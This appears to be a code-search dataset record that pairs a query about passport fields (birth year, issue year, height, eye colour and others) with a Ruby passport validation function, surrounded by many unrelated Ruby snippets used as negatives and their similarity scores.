"def ingest_file_hashes(to_save, uploader, skip_validations, obj, parent)\n \n x_file_hashes = []\n obj.hashes.each do |i|\n x2 = self.parse_sub_obj(to_save, uploader, skip_validations, i, parent)\n next if x2.blank?\n \n x_file_hashes << x2\n end\n x_file_hashes\n end",
"def filter(event)\n doc = event.get(\"doc\")\n\n # null object?\n if (!doc) then\n return []\n end\n\n # not a package?\n if (doc[\"type\"] and doc[\"type\"] != \"package\") then\n return []\n end\n\n # skip archivals\n if (doc[\"archived\"]) then\n return []\n end\n\n # Otherwise take the latest version, if exists (it always should)\n if (!doc[\"latest\"]) then\n return []\n end\n\n # set revdeps, downloads\n latest = doc[\"versions\"][ doc[\"latest\"] ]\n latest[\"revdeps\"] = doc[\"revdeps\"] || 1\n latest[\"downloads\"] = doc[\"downloads\"] || 1\n\n # squash dependency fields\n latest[\"Imports\"] = paste(latest[\"Imports\"])\n latest[\"Depends\"] = paste(latest[\"Depends\"])\n latest[\"Suggests\"] = paste(latest[\"Suggests\"])\n latest[\"Enhances\"] = paste(latest[\"Enhances\"])\n latest[\"LinkingTo\"] = paste(latest[\"LinkingTo\"])\n\n latest.each do |key, value|\n event.set(key, value)\n end\n event.set(\"doc\", nil)\n return [event]\nend",
"def hash\n [author, created, icon, id, integration_id, is_favorite, is_read_only, is_shared, modified, popularity, tags, title, type, url].hash\n end",
"def save_event(event)\n @events.push(event)\n end",
"def hash\n [monitor_tags].hash\n end",
"def get_data(event, data={})\n self['event'] = event\n self['properties'] = data \n self['properties']['token'] = @key\n self['properties']['time'] = Time.now.to_i\n \n Base64.encode64(JSON.generate(self))\n end",
"def log_hash_ins(hash_obj)\n #Sort out fileuploads - it would simply bee too big to log this.\n hash_obj = self.log_hash_safe(hash_obj)\n\n inserts_links = []\n ret = {}\n [:keys, :values].each do |type|\n if type == :keys\n hash = Knj::ArrayExt.hash_keys_hash(hash_obj)\n else\n hash = Knj::ArrayExt.hash_values_hash(hash_obj)\n end\n\n data_id = @db.single(:Log_data, {\"id_hash\" => hash})\n data_id = data_id[:id] if data_id\n\n if !data_id\n data_id = @db.insert(:Log_data, {\"id_hash\" => hash}, {:return_id => true})\n\n link_count = 0\n hash_obj.keys.sort.each do |key|\n if type == :keys\n ins_data = \"#{key.to_s}\"\n else\n ins_data = \"#{hash_obj[key].to_s}\"\n end\n\n ins_data = ins_data.force_encoding(\"UTF-8\") if ins_data.respond_to?(:force_encoding)\n data_value_id = @ob.static(:Log_data_value, :force_id, ins_data)\n inserts_links << {:no => link_count, :data_id => data_id, :value_id => data_value_id}\n link_count += 1\n end\n end\n\n if type == :keys\n ret[:keys_data_id] = data_id\n else\n ret[:values_data_id] = data_id\n end\n end\n\n @db.insert_multi(:Log_data_link, inserts_links)\n\n return ret\n end",
"def stats(events=events)\n {\n :repositories_created => event_count(events, :type =>\"CreateEvent\"),\n :issue_comments => event_count(events, :type =>\"IssueCommentEvent\"),\n :issues_opened => event_count(events, :type =>\"IssuesEvent\", :action => \"opened\"),\n :issues_closed => event_count(events, :type =>\"IssuesEvent\", :action => \"closed\"),\n :repos_open_sourced => event_count(events, :type =>\"PublicEvent\"),\n :pull_requests_opened => event_count(events, :type =>\"PullRequestEvent\", :action => \"opened\"),\n :pull_requests_merged => event_count(events, :type =>\"PullRequestEvent\", :action => \"closed\", :merged => true),\n :versions_released => event_count(events, :type =>\"ReleaseEvent\", :action => \"published\"),\n :pushes => event_count(events, :type =>\"PushEvent\"),\n :commits => events.map { |e| e.commits }.flatten.inject{|sum,x| sum + x },\n :total_events => event_count(events)\n }\n end",
"def events\n @events ||= {}\n end",
"def convert(event)\n @convert.each do |field, type|\n converter = method(CONVERT_PREFIX + type)\n\n case original = event.get(field)\n when NilClass\n next\n when Hash\n @log.error(\"cannot convert hash\", field: field, value: original)\n when Array\n event.set(field, original.map{|v| converter.call(v)})\n else\n event.set(field, converter.call(original))\n end\n end\n end",
"def apply_event_to_hash(event, hash)\n hash.clone.each_with_object({}) do |(k, v), ret|\n if v.is_a? Hash\n ret[event.sprintf(k)] = apply_event_to_hash(event, v)\n else\n event_value = event.get(v)\n ret[event.sprintf(k)] = event_value.nil? ? v : event_value\n end\n end\n end",
"def hash\n [type, id, timestamp, local_timestamp, local_timezone, caller_id, service_url, channel_id, from, conversation, recipient, text_format, attachment_layout, members_added, members_removed, reactions_added, reactions_removed, topic_name, history_disclosed, locale, text, speak, input_hint, summary, suggested_actions, attachments, entities, channel_data, action, reply_to_id, label, value_type, value, name, relates_to, code, expiration, importance, delivery_mode, listen_for, text_highlights, semantic_action].hash\n end",
"def format_event(evt)\n parts = evt.split(\"\\n\").map do |entry|\n chunks = entry.split('=')\n key = chunks.shift.strip\n value = chunks.join.strip.sub(/^'/, '').sub(/'$/, '').strip\n [key, value]\n end\n event = Smash[parts]\n unless(event['ResourceProperties'].to_s.empty?)\n begin\n event['ResourceProperties'] = MultiJson.load(event['ResourceProperties'])\n rescue MultiJson::LoadError => e\n error \"Failed to load `ResourceProperties`: #{e.class} - #{e}\"\n debug \"#{e.class}: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n else\n event['ResourceProperties'] = {}\n end\n Smash.new(Carnivore::Utils.symbolize_hash(event))\n end",
"def elementsToJSON(oldData, elemPubID, submitterEmail, metaHash, ark, feedFile)\n\n # eSchol ARK identifier (provisional ID minted previously for new items)\n data = oldData ? oldData.clone : {}\n data[:id] = ark\n\n # Identify the source system\n data[:sourceName] = 'elements'\n data[:sourceID] = elemPubID\n data[:sourceFeedLink] = \"#{$submitServer}/bitstreamTmp/#{feedFile}\"\n\n # Object type, flags, status, etc.\n elementsPubType = metaHash.delete('object.type') || raise(\"missing object.type\")\n elementsPubStatus = metaHash['publication-status'] || nil\n elementsIsReviewed = metaHash.delete('is-reviewed') || nil\n \n data[:isPeerReviewed] = getDefaultPeerReview(elementsIsReviewed, elementsPubType, elementsPubStatus)\n\n data[:type] = convertPubType(elementsPubType)\n data[:isPeerReviewed] = true # assume all Elements items are peer reviewed\n if (elementsPubType == 'preprint' ||\n (elementsPubType == 'journal-article' &&\n (elementsPubStatus == 'In preparation' ||\n elementsPubStatus == 'Submitted' ||\n elementsPubStatus == 'Unpublished') ) ) \n data[:isPeerReviewed] = false # assume preprints are not peer reviewed\n end \n data[:pubRelation] = convertPubStatus(metaHash.delete('publication-status'))\n data[:embargoExpires] = assignEmbargo(metaHash)\n\n # Author and editor metadata.\n metaHash['authors'] && data[:authors] = transformPeople(metaHash.delete('authors'), nil)\n if metaHash['editors'] || metaHash['advisors']\n contribs = []\n metaHash['editors'] and contribs += (transformPeople(metaHash.delete('editors'), 'EDITOR') || [])\n metaHash['advisors'] and contribs += (transformPeople(metaHash.delete('advisors'), 'ADVISOR') || [])\n !contribs.empty? and data[:contributors] = contribs\n end\n\n # Other top-level fields\n metaHash.key?('title') and data[:title] = sanitizeHTML(metaHash.delete('title')).gsub(/\\s+/, ' ').strip\n metaHash.key?('abstract') and data[:abstract] = sanitizeHTML(metaHash.delete('abstract'))\n data[:localIDs] = []\n metaHash.key?('doi') and data[:localIDs] << { id: metaHash.delete('doi'), scheme: 'DOI' }\n data[:localIDs] << {id: elemPubID, scheme: 'OA_PUB_ID'}\n metaHash.key?('fpage') and data[:fpage] = metaHash.delete('fpage')\n metaHash.key?('lpage') and data[:lpage] = metaHash.delete('lpage')\n metaHash.key?('keywords') and data[:keywords] = convertKeywords(metaHash.delete('keywords'))\n if metaHash.key?('requested-reuse-licence.short-name')\n if metaHash['requested-reuse-licence.short-name'] != \"No Licence\"\n ccCode = metaHash.delete('requested-reuse-licence.short-name')\n data[:rights] = \"https://creativecommons.org/licenses/#{ccCode.sub(\"CC \", \"\").downcase}/4.0/\"\n end\n end\n metaHash.key?('funder-name') and data[:grants] = convertFunding(metaHash)\n #metaHash.key?('funder-type-display-name')\n\n # Context\n assignSeries(data, getCompletionDate(data, metaHash), metaHash)\n lookupRepecID(elemPubID) and data[:localIDs] << { scheme: 'OTHER_ID', subScheme: 'repec', id: lookupRepecID(elemPubID) }\n metaHash.key?(\"report-number\") and data[:localIDs] << {\n scheme: 'OTHER_ID', subScheme: 'report', id: metaHash.delete('report-number')\n }\n metaHash.key?(\"issn\") and data[:issn] = metaHash.delete(\"issn\")\n metaHash.key?(\"isbn-13\") and data[:isbn] = metaHash.delete(\"isbn-13\") # for books and chapters\n metaHash.key?(\"journal\") and data[:journal] = metaHash.delete(\"journal\")\n metaHash.key?(\"proceedings\") and data[:proceedings] = metaHash.delete(\"proceedings\")\n metaHash.key?(\"volume\") and data[:volume] = metaHash.delete(\"volume\")\n metaHash.key?(\"issue\") and data[:issue] = metaHash.delete(\"issue\")\n metaHash.key?(\"parent-title\") and data[:bookTitle] = metaHash.delete(\"parent-title\") # for chapters \n metaHash.key?(\"oa-location-url\") and convertOALocation(ark, metaHash, data)\n data[:ucpmsPubType] = elementsPubType\n\n # History\n data[:published] = convertPubDate(metaHash.delete('publication-date'))\n data[:submitterEmail] = submitterEmail\n\n # Custom Citation Field\n metaHash.key?(\"custom-citation\") and data[:customCitation] = metaHash.delete(\"custom-citation\")\n\n # All done.\n return data\nend",
"def index_process_commit(arr, hash)\n\n commit_hash_str = arr[0].strip\n author_email_str = arr[2].strip\n created_at_tstamp = DateTime.parse(arr[3].strip)\n parent_hash = arr[4].strip\n\n #add commit hash\n hash[:commit_hash] = commit_hash_str[0..254]\n puts \"WARNING! Hash too long #{commit_hash_str}\" if commit_hash_str.length > 254\n\n #add email\n hash[:author_email] = author_email_str[0..254]\n puts \"WARNING! Email too long #{author_email_str}\" if author_email_str.length > 254\n \n #add author id \n dev = Developer.search_or_add author_email_str\n if dev.nil?\n unless %w(initial.commit\n license.bot@0039d316-1c4b-4281-b951-d872f2087c98\n initial.commit@0039d316-1c4b-4281-b951-d872f2087c98\n ).include? author_email_str\n puts \"WARNING! Email invalid for #{author_email_str}\"\n end\n else\n hash[:author_id] = dev.id \n end\n\n #add Date/Time created\n hash[:created_at] = created_at_tstamp\n\n #add parent_commit_hash\n hash[:parent_commit_hash] = parent_hash[0..254]\n puts \"WARNING! Parent hash too long #{parent_hash}\" if parent_hash.length > 254\n\n add_commit_to_db(hash)\n\n arr.clear\n\n end",
"def to_hash\n # TODO: find a better option to populate the data to the Hash\n image;feed;links;charset;absolute_links;title;meta_keywords\n @data.to_hash\n end",
"def event_data\n {\n user_kyc_detail: @user_kyc_detail.get_hash,\n admin: @user_kyc_detail.get_last_acted_admin_hash\n }\n end",
"def hash_for_merging(hash)\n new_hash = { id: hash['message_id'].to_i,\n date: Time.at(hash['date'].to_i),\n from: User.new(hash['from'], @bot),\n chat: Chat.new(hash['chat'], @bot) }\n\n type = TYPES.find { |t| hash[t.to_s] }\n new_hash[type] = hash[type.to_s] # TODO: fail if type not found\n\n new_hash\n end",
"def save\n MoxiworksPlatform::Event.update(self.to_hash)\n end",
"def gitaly_payload(action)\n return unless %w[git-receive-pack git-upload-pack git-upload-archive].include?(action)\n\n {\n repository: repository.gitaly_repository.to_h,\n address: Gitlab::GitalyClient.address(repository.shard),\n token: Gitlab::GitalyClient.token(repository.shard),\n features: Feature::Gitaly.server_feature_flags(repository.project),\n use_sidechannel: Feature.enabled?(:gitlab_shell_upload_pack_sidechannel, repository.project, default_enabled: :yaml)\n }\n end",
"def process_log_output(output)\n in_message = false\n hsh_array = []\n hsh = nil\n\n output.each_line do |line|\n line = line.chomp\n\n if line[0].nil?\n in_message = !in_message\n next\n end\n\n if in_message\n hsh[\"message\"] << \"#{line[4..]}\\n\"\n next\n end\n\n key, *value = line.split\n key = key.sub(\":\", \"\").downcase\n value = value.join(\" \")\n\n case key\n when \"commit\"\n hsh_array << hsh if hsh\n hsh = {\"sha\" => value, \"message\" => +\"\", \"parent\" => []}\n when \"parent\"\n hsh[\"parent\"] << value\n when \"author\"\n tmp = value.split(\"<\")\n hsh[\"author\"] = tmp[0].strip\n hsh[\"email\"] = tmp[1].sub(\">\", \"\").strip\n when \"date\"\n hsh[\"date\"] = DateTime.parse(value)\n else\n hsh[key] = value\n end\n end\n hsh_array << hsh if hsh\n hsh_array\n end",
"def event_types; end",
"def post_receive_payloads(refs, project=nil)\n\t\tproject ||= @project\n\t\tpayloads = []\n\t\trefs.each do |ref|\n\t\t\toldhead, newhead, refname = ref.split(',')\n\n\t\t\t# Only pay attention to branch updates\n\t\t\tnext if not refname.match(/refs\\/heads\\//)\n\t\t\tbranch = refname.gsub('refs/heads/', '')\n\n\t\t\tif newhead.match(/^0{40}$/)\n\t\t\t\t# Deleting a branch\n\t\t\t\tGitHosting.logger.debug \"Deleting branch \\\"#{branch}\\\"\"\n\t\t\t\tnext\n\t\t\telsif oldhead.match(/^0{40}$/)\n\t\t\t\t# Creating a branch\n\t\t\t\tGitHosting.logger.debug \"Creating branch \\\"#{branch}\\\"\"\n\t\t\t\trange = newhead\n\t\t\telse\n\t\t\t\trange = \"#{oldhead}..#{newhead}\"\n\t\t\tend\n\n\t\t\trevisions_in_range = %x[#{GitHosting.git_exec} --git-dir='#{GitHosting.repository_path(project)}' rev-list --reverse #{range}]\n\t\t\t#GitHosting.logger.debug \"Revisions in Range: #{revisions.split().join(' ')}\"\n\n\t\t\tcommits = []\n\t\t\trevisions_in_range.split().each do |rev|\n\t\t\t\trevision = project.repository.find_changeset_by_name(rev.strip)\n\t\t\t\tcommit = {\n\t\t\t\t\t:id => revision.revision,\n\t\t\t\t\t:url => url_for(:controller => \"repositories\", :action => \"revision\", \n\t\t\t\t\t\t:id => project, :rev => rev, :only_path => false, \n\t\t\t\t\t\t:host => Setting['host_name'], :protocol => Setting['protocol']\n\t\t\t\t\t),\n\t\t\t\t\t:author => {\n\t\t\t\t\t\t:name => revision.committer.gsub(/^([^<]+)\\s+.*$/, '\\1'),\n\t\t\t\t\t\t:email => revision.committer.gsub(/^.*<([^>]+)>.*$/, '\\1')\n\t\t\t\t\t},\n\t\t\t\t\t:message => revision.comments,\n\t\t\t\t\t:timestamp => revision.committed_on,\n\t\t\t\t\t:added => [],\n\t\t\t\t\t:modified => [],\n\t\t\t\t\t:removed => []\n\t\t\t\t}\n\t\t\t\trevision.changes.each do |change|\n\t\t\t\t\tif change.action == \"M\"\n\t\t\t\t\t\tcommit[:modified] << change.path\n\t\t\t\t\telsif change.action == \"A\"\n\t\t\t\t\t\tcommit[:added] << change.path\n\t\t\t\t\telsif change.action == \"D\"\n\t\t\t\t\t\tcommit[:removed] << change.path\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tcommits << commit\n\t\t\tend\n\n\t\t\tpayloads << {\n\t\t\t\t:before => oldhead,\n\t\t\t\t:after => newhead,\n\t\t\t\t:ref => refname,\n\t\t\t\t:commits => commits,\n\t\t\t\t:repository => {\n\t\t\t\t\t:description => project.description,\n\t\t\t\t\t:fork => false,\n\t\t\t\t\t:forks => 0,\n\t\t\t\t\t:homepage => project.homepage,\n\t\t\t\t\t:name => project.identifier,\n\t\t\t\t\t:open_issues => project.issues.open.length,\n\t\t\t\t\t:owner => {\n\t\t\t\t\t\t:name => Setting[\"app_title\"],\n\t\t\t\t\t\t:email => Setting[\"mail_from\"]\n\t\t\t\t\t},\n\t\t\t\t\t:private => !project.is_public,\n\t\t\t\t\t:url => url_for(:controller => \"repositories\", :action => \"show\", \n\t\t\t\t\t\t:id => project, :only_path => false, \n\t\t\t\t\t\t:host => Setting[\"host_name\"], :protocol => Setting[\"protocol\"]\n\t\t\t\t\t),\n\t\t\t\t\t:watchers => 0\n\t\t\t\t}\n\t\t\t}\n\t\tend\n\t\tpayloads\n\tend",
"def event_file_data\n { hosts: options[:host],\n description: options[:desc],\n severity: options[:severity],\n tags: options[:evtag] }.to_json\n end",
"def process_fields(event)\n h = Hash.new\n h[:url] = event['url']\n h[:event_title] = event['title']\n\n h[:city] = ''\n\n if event['venue'].nil?\n address = ''\n glink = ''\n else\n address, glink = build_address(event['venue'])\n h[:city] = event['venue']['city']\n end\n\n h[:address] = address\n h[:glink] = glink\n\n if event['description'].nil?\n h[:desc] = ''\n else\n h[:desc] = filter_description(event['description'],\n 'Read more about this Meetup',\n h[:url])\n end\n\n h[:photo] = event['photos']\n h[:time] = event_date(event)\n h[:formatted_time] = format_date(h[:time])\n\n h[:chapter] = event['chapter']\n\n if h[:chapter] == \"Sanfrancisco\"\n h[:chapter] = \"San Francisco\"\n end\n\n result = h\n\n if h[:city] == \"Seoul\" || h[:city] == \"서울\"\n if /papers we love/.match(h[:event_title].downcase).nil?\n result = nil\n end\n end\n\n result\nend",
"def parse_repo\n if raw_event.has_key?('repository')\n @repo = parse_field('repository', %w{id url name})\n else\n @repo = parse_field('repo', %w{id url name})\n end\n end",
"def hash\n [custom_headers, encode_as, name, payload, url].hash\n end",
"def to_pusher_event\n user_name = if user.present? then user.name else nil end\n user_name = guest_name unless user_name.present?\n\n { session_id: session_id,\n scene_id: scene_id,\n href: \"/scenes/#{ scene_id }/with/#{ session_id }\",\n score: score,\n query_results: query_results,\n updated_at: updated_at,\n user_id: user_id || guest_uid,\n user_name: user_or_guest.name,\n profile_image: user_or_guest.image_url }\n end",
"def merge(event)\n @merge.each do |dest_field, added_fields|\n dest_field_value = event.get(dest_field)\n\n Array(added_fields).each do |added_field|\n added_field_value = event.get(added_field)\n\n if dest_field_value.is_a?(Hash) ^ added_field_value.is_a?(Hash)\n @log.error('cannot merge an array and hash',\n dest_field: dest_field,\n added_field: added_field)\n next\n end\n\n if dest_field_value.is_a?(Hash)\n event.set(dest_field, dest_field_value.update(added_field_value))\n else\n event.set(dest_field, Array(dest_field_value).\n concat(Array(added_field_value)))\n end\n end\n end\n end",
"def hash\n [author_email, author_name, author_time, branch, commit_time, committer_email, committer_name, default_branch, message, repository_url, sha, tag].hash\n end"
] |
[
"0.67787796",
"0.64926255",
"0.6118883",
"0.60921526",
"0.60250604",
"0.59186286",
"0.59169394",
"0.59097224",
"0.5727255",
"0.55693775",
"0.55673075",
"0.55574",
"0.5535561",
"0.55075973",
"0.5477441",
"0.54125696",
"0.538977",
"0.538683",
"0.5384652",
"0.53831744",
"0.53764355",
"0.53564954",
"0.53373903",
"0.53277373",
"0.52948403",
"0.528508",
"0.52508676",
"0.52388954",
"0.52287936",
"0.52197397",
"0.52183825",
"0.5206305",
"0.5198838",
"0.5184845",
"0.51775193",
"0.51633966",
"0.51564217",
"0.5149691",
"0.5144894",
"0.5143828",
"0.51298445",
"0.51255345",
"0.5119006",
"0.51157635",
"0.5113961",
"0.5110607",
"0.5094813",
"0.5092553",
"0.5078186",
"0.5067708",
"0.5052312",
"0.5048925",
"0.5032756",
"0.5030086",
"0.5029688",
"0.5025401",
"0.5017985",
"0.49960855",
"0.49913812",
"0.49903095",
"0.49842706",
"0.49807742",
"0.49807477",
"0.49657765",
"0.49539578",
"0.49361706",
"0.4934696",
"0.49335855",
"0.4928224",
"0.49279287",
"0.49221674",
"0.49083224",
"0.49079588",
"0.4905118",
"0.49020958",
"0.4900328",
"0.48985985",
"0.48841512",
"0.48751748",
"0.48738313",
"0.487124",
"0.48598954",
"0.4856714",
"0.48534536",
"0.48516777",
"0.48302412",
"0.4826324",
"0.4824609",
"0.48215967",
"0.48211098",
"0.4820963",
"0.48197246",
"0.4815414",
"0.48134807",
"0.48068276",
"0.48030156",
"0.48015067",
"0.4800196",
"0.47994572",
"0.47972876",
"0.47952172"
] |
0.0
|
-1
|
byr (Birth Year) iyr (Issue Year) eyr (Expiration Year) hgt (Height) hcl (Hair Color) ecl (Eye Color) pid (Passport ID) cid (Country ID)
|
def passport_valid?(passport_hash)
has_required_fields = REQUIRED_FIELDS.all? do |required_field|
!passport_hash[required_field].nil?
end
return false unless has_required_fields
REQUIRED_FIELDS.all? do |field|
case field
when 'byr'
valid_birth_year?(passport_hash[field])
when 'iyr'
valid_issue_year?(passport_hash[field])
when 'eyr'
valid_expiration_year?(passport_hash[field])
when 'hgt'
valid_height?(passport_hash[field])
when 'hcl'
valid_hair_color?(passport_hash[field])
when 'ecl'
valid_eye_color?(passport_hash[field])
when 'pid'
valid_passport_number?(passport_hash[field])
else
false
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cwyear\n end",
"def w_year; end",
"def year; end",
"def year; end",
"def year() end",
"def card_year\n card[:year].to_i\n end",
"def card_data\n {:cc_type => cc_type, :last_digits => last_digits, :first_name => first_name, :last_name => last_name, :year => year, :month => month}\n end",
"def expected_death_year\n Chronic.parse(\"#{@years_to_live} years from\nnow\").year\n end",
"def year\n self._id['year']\n end",
"def year\n return @year\n end",
"def year_rome_founded\n bce(753)\n end",
"def lender_credit_modeler_df\n hudline \"Lender Credit\"\n end",
"def birth_year\n @current_year - @age\n end",
"def human_years \n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def year\n end",
"def human_years\n age * DOG_YEARS\n end",
"def age\n\t\t\"#Age------\"\n\t\tage = Date.today.year - self.birthday.year\n\tend",
"def dob_with_age\n unless feed.birth_time.blank?\n #age_string = \" (#{age} #{t(:year, :count => year).downcase})\"\n age_string = \" (#{feed.age} years)\"\n return case self[:feed_birth_time_pref]\n when /y|md/:\n dob_string + age_string\n when /md/:\n dob_string\n end\n end\n return ''\n end",
"def age\n Time.now.year - self.dob.year\n end",
"def year\n @ole.Year\n end",
"def set_cpr_nr\n dato = self.birthdate.to_s.split(\"-\")\n dato[0] = dato[0][2..3]\n self.cpr = dato.reverse.join\n end",
"def age\n\t\tnow = Date.today\n\t\tnow.year - birthday.year\n\tend",
"def years_needed\n 30\n end",
"def print_year\n print_top_year\n print_body_rows\n end",
"def year\n return @year\n end",
"def raw_year\n start_on.year\n end",
"def colt(year); inproceedings('COLT', year) end",
"def make_year(year, bias); end",
"def build_header_year\n \"#{begin_date.year}/#{end_date.year}\"\n end",
"def year\n return @t_year\n end",
"def current_age_for_birth_year(year)\nage_of_person = 2003 - year\nend",
"def year\n yearInSchool\n end",
"def year\n self.class.get_year(@bits)\n end",
"def electoral_college\n ec_seats = @seats.dup\n unless ec_seats.has_key?(\"District of Columbia\")\n\tec_seats[\"District of Columbia\"] = 1\n end\n ec_seats.each {|k,v| ec_seats[k] = v + 2}\n ec_seats\n end",
"def year_of_birth(current_year, age)\n\tcurrent_year - age\n\tend",
"def age\n Date.current.year - self.year_of_birth\n end",
"def expected_death_year\n Chronic.parse(\"#{years_to_live} years from now\").year.to_s\n end",
"def age\n \n end",
"def cat_years\n #en este metodo calculamos la edad del gato.\n @age * CAT_YEARS\n end",
"def get_demographics(patient, doc, patient_id_xpath)\n patientActorID = doc.at_xpath(\"//ccr:ContinuityOfCareRecord/ccr:Patient/ccr:ActorID\").content\n patientActor = doc.at_xpath(\"//ccr:ContinuityOfCareRecord/ccr:Actors/ccr:Actor[ccr:ActorObjectID = \\\"#{patientActorID}\\\"]\")\n patientID = patientActor.at_xpath(patient_id_xpath).try(:content)\n patientID ||= patientActorID\n \n name_element = patientActor.at_xpath('./ccr:Person/ccr:Name')\n \n if name_element\n if name_element.at_xpath(\"./ccr:CurrentName\")\n patient['first'] = name_element.at_xpath('./ccr:CurrentName/ccr:Given').try(:content)\n patient['last'] = name_element.at_xpath('./ccr:CurrentName/ccr:Family').try(:content)\n elsif name_element.at_xpath(\"./ccr:DisplayName\")\n # this will not work in all cases, but we're using it as a last resort if no CurrentName is found\n first, last = name_element.at_xpath(\"./ccr:DisplayName\").content.split(\" \")\n patient['first'] = first.strip\n patient['last'] = last.strip\n end\n end\n \n \n birthdate = patientActor.at_xpath('./ccr:Person//ccr:DateOfBirth/ccr:ExactDateTime | ./ccr:Person//ccr:DateOfBirth/ccr:ApproximateDateTime')\n patient['birthdate'] = Time.parse(birthdate.content).to_i if birthdate\n \n gender_string = patientActor.at_xpath('./ccr:Person/ccr:Gender/ccr:Text').content.downcase\n patient['gender'] = Gender[gender_string.downcase]\n #race_node = doc.at_xpath('/ccr:placeholder') #how do you find this?\n race = doc.at_xpath('//ccr:SocialHistory/ccr:SocialHistoryElement[./ccr:Type/ccr:Text = \"Race\"]/ccr:Description/ccr:Code[./ccr:CodingSystem = \"CDC-RE\"]/ccr:Value')\n ethnicity = doc.at_xpath('//ccr:SocialHistory/ccr:SocialHistoryElement[./ccr:Type/ccr:Text = \"Ethnicity\"]/ccr:Description/ccr:Code[./ccr:CodingSystem = \"CDC-RE\"]/ccr:Value')\n \n if ethnicity\n patient[:ethnicity] = {\"code\" => ethnicity.text, \"codeSystem\" => 'CDC-RE'}\n end\n \n \n if race\n patient[:race] = {\"code\" => race.text, \"codeSystem\" => 'CDC-RE'}\n end\n\n \n \n #ethnicity_node = doc.at_xpath()\n \n\n # languages = doc.at_xpath()\n patient['languages'] = nil\n \n patient['medical_record_number'] = patientID\n end",
"def publication_year\n end",
"def year(input) = new_year(input).year - 621",
"def age_calc\n \t now = Time.now.to_date\n now.year - self.year - (self.change(:year=>now.year)>now ? 1 : 0) #rescue 0\n \tend",
"def year\n 2020\n end",
"def year\n doc.search(\"table.info a[href*='/m_act%5Byear%5D/']\").text.to_i\n end",
"def cc_expiry\n self.cc_expiry_month + self.cc_expiry_year\n end",
"def age\n Time.current.year - date_of_birth.year\n end",
"def agency_abv; end",
"def initialize(params)\n @byr = params['byr']&.to_i\n @iyr = params['iyr']&.to_i\n @eyr = params['eyr']&.to_i\n if params.key?('hgt')\n @hgt = if (md = /\\A(?<value>\\d+)(?<unit>cm|in)\\z/.match(params['hgt']))\n [md['value'].to_i, md['unit']]\n else\n params['hgt']\n end\n end\n\n @hcl = params['hcl']\n @ecl = params['ecl']\n @pid = params['pid']\n @cid = params['cid']\n end",
"def current_age_for_birth_year(birth_year)\n Time.now.year - birth_year\nend",
"def get_author_and_year\n if self.type == 'Combination'\n c = protonyms_by_rank\n return nil if c.empty?\n taxon = c[c.keys.last]\n else\n taxon = self\n end\n\n case taxon.rank_class.try(:nomenclatural_code)\n when :iczn\n ay = iczn_author_and_year(taxon)\n when :icvcn\n ay = icn_author_and_year(taxon)\n when :icnp\n ay = icn_author_and_year(taxon)\n when :icn\n ay = icn_author_and_year(taxon)\n else\n ay = ([author_string] + [cached_nomenclature_date&.year]).compact.join(' ')\n end\n (ay.presence)\n end",
"def valid_attributes\n {\n start_date: Date.new(2013, 01, 20),\n end_date: Date.new(2013, 02, 20),\n onsite: false,\n name: \"Early Competitor\",\n registrant_type: \"competitor\",\n expense_item_attributes: {\n cost: @comp_exp.cost,\n tax: @comp_exp.tax\n }\n }\n end",
"def get_author_and_year\n return ([self.author_string] + [self.year_integer]).compact.join(', ') if self.rank.nil?\n rank = self.rank_class\n\n if rank.nomenclatural_code == :iczn\n misapplication = TaxonNameRelationship.where_subject_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Iczn::Invalidating::Usage::Misapplication')\n a = [self.author_string]\n\n if a[0] =~ /^\\(.+\\)$/ # (Author)\n a[0] = a[0][1..-2]\n p = true\n else\n p = false\n end\n\n ay = (a + [self.year_integer]).compact.join(', ')\n obj = misapplication.empty? ? nil : misapplication.first.object_taxon_name\n\n unless misapplication.empty? || obj.author_string.blank?\n ay += ' nec ' + ([obj.author_string] + [obj.year_integer]).compact.join(', ')\n end\n\n if SPECIES_RANK_NAMES_ICZN.include?(rank.to_s)\n if p\n ay = '(' + ay + ')' unless ay.empty?\n else\n og = self.original_genus\n cg = self.ancestor_at_rank('genus')\n unless og.nil? || cg.nil?\n ay = '(' + ay + ')' unless ay.empty? if og.name != cg.name\n end\n #((self.original_genus.name != self.ancestor_at_rank('genus').name) && !self.original_genus.name.to_s.empty?)\n end\n end\n\n elsif rank.nomenclatural_code == :icn\n basionym = TaxonNameRelationship.where_object_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Icn::Unaccepting::Usage::Basionym')\n misapplication = TaxonNameRelationship.where_subject_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Icn::Unaccepting::Usage::Misapplication')\n b_sub = basionym.empty? ? nil : basionym.first.subject_taxon_name\n m_obj = misapplication.empty? ? nil : misapplication.first.object_taxon_name\n\n\n t = [self.author_string]\n t += ['(' + self.year_integer.to_s + ')'] unless self.year_integer.nil?\n ay = t.compact.join(' ')\n\n unless basionym.empty? || b_sub.author_string.blank?\n ay = '(' + b_sub.author_string + ') ' + ay\n end\n unless misapplication.empty? || m_obj.author_string.blank?\n ay += ' nec ' + [m_obj.author_string]\n t += ['(' + m_obj.year_integer.to_s + ')'] unless m_obj.year_integer.nil?\n end\n else\n ay = ([self.author_string] + [self.year_integer]).compact.join(' ')\n end\n ay\n end",
"def fiscal_years\n get_fiscal_years\n end",
"def expected_death_year\n if is_married?\n Chronic.parse(\"#{@years_to_live + 5} years from now\").year.to_s\n else\n Chronic.parse(\"#{@years_to_live} years from now\").year.to_s\n end\n end",
"def birth_info(p)\n if p.birth then\n ret = p.birth.to_s(:long)\n if p.birth_place != '' then\n ret = \"#{ret} in #{p.birth_place}\"\n end\n else\n ret = \"Unknown\"\n end\n ret\n end",
"def fy_century(fy)\n fy < 2000 ? 1900 : 2000\n end",
"def celebrate_birthday=(years)\n\t\t@age += years\n\tend",
"def age\n # stretch\n age = ((DateTime.now - self.date_of_birth)/365).floor\n end",
"def start\n years\n strings\n sgb\n end",
"def years\n self.to_i * 31_557_600\n end",
"def build_year_statements(response, type)\n year_stmts = []\n if type == \"Work\" && response[\"year\"].present?\n year_stmts = get_year_rdf(type + \"1\", response[\"year\"])\n elsif response[\"released\"].present?\n year_stmts = get_year_rdf(type + \"1\", response[\"released\"])\n end\n year_stmts # w/out this line, building the graph throws an undefined method `graph_name=' error\n end",
